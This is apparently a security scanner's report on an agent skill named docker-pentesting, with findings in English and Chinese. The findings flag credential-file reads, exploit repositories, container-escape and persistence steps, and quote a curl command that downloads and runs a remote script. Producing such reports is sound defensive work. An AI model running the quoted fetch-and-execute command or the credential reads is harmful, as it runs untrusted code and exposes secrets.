docker-pentesting

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). 该技能明确要求枚举环境变量和读取 ~/.docker/config.json、/proc/self/environ 等可能包含 API Key/密码的文件并分析镜像/Registry 凭据，执行此类步骤会使代理需获取并可能输出敏感凭据的明文。

---

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Yes — the list contains multiple high-risk indicators: direct raw executable/script links on GitHub, numerous PoC exploit repositories (DirtyPipe, runc, etc.), an attacker-controlled domain, and Docker/metadata registry endpoints commonly used to enumerate and deliver exploits or malware.

---

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). 该文档是明确的攻击性指南：包含容器逃逸、远程代码执行、凭据盗窃、数据外传与持久化后门（写入 SSH key、cron 反弹、core_pattern 利用、docker.sock / Remote API 滥用、DirtyPipe 等），属于高度恶意且可直接被滥用的内容。

---

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (medium risk: 0.65). 该“skill”运行时会把 SKILL.md/其引用的 references/*.md 中的外部来源的自由文本（例如从公共 GitHub/URL 通过 curl 下载的脚本内容）读入并进入 LLM 上下文；同时文档本身包含大量可执行的攻击步骤文本，若被系统用于生成/改写利用链则属于注入面。

---

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). Yes — the skill includes runtime commands that fetch and execute remote exploit code (e.g., git clone https://github.com/gbonacini/CVE-2016-5195, git clone https://github.com/tr3ee/CVE-2022-23222, and curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o /tmp/deepce.sh && /tmp/deepce.sh), so those URLs are used at runtime to retrieve and run external code.

---

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill contains explicit, actionable commands to escape containers and modify host system state (mount host filesystems, write to /etc or cron, use the Docker socket to create privileged containers, alter proc/core_pattern), which directly instructs altering the machine and gaining elevated access, so it must be flagged.